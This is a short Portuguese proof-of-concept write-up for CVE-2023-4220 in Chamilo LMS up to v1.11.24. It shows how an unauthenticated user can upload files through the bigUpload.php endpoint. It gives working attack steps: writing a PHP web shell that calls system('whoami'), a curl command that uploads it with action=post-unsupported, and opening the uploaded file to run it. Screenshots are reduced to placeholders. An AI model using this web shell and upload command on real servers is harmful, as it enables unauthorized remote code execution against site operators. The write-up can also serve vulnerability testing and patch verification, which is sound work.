
Exploit de prova de conceito para CVE-2023-4220: upload de arquivo não autenticado no Chamilo LMS possibilitando XSS armazenado e execução remota de código via implantação de web shell.
Carregamento irrestrito de arquivos na funcionalidade de upload de arquivos grandes em /main/inc/lib/javascript/bigupload/inc/bigUpload.php no Chamilo LMS <= v1.11.24 permite que atacantes não autenticados realizem ataques de cross-site scripting armazenado e obtenham execução remota de código através do upload de web shell.
A funcionalidade de upload de arquivos grandes em /main/inc/lib/javascript/bigupload/inc/bigUpload.php permite que arquivos arbitrários sejam enviados para o diretório /main/inc/lib/javascript/bigupload/files dentro da raiz web.
Se o diretório /main/inc/lib/javascript/bigupload/files existir, podemos enviar um arquivo arbitrário como;
Crie um arquivo php malicioso echo '<?php system("whoami"); ?>' > dollarboysushil.php
.png)
Podemos então enviar este arquivo executando o seguinte comando
`$ curl -F '[email protected]' 'http://<website>/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'`
.png)
Podemos verificar se nosso arquivo foi enviado visitando o diretório /main/inc/lib/javascript/bigupload/files
.png)
E podemos executá-lo clicando no arquivo php, que fornece a saída do comando whoami
.png)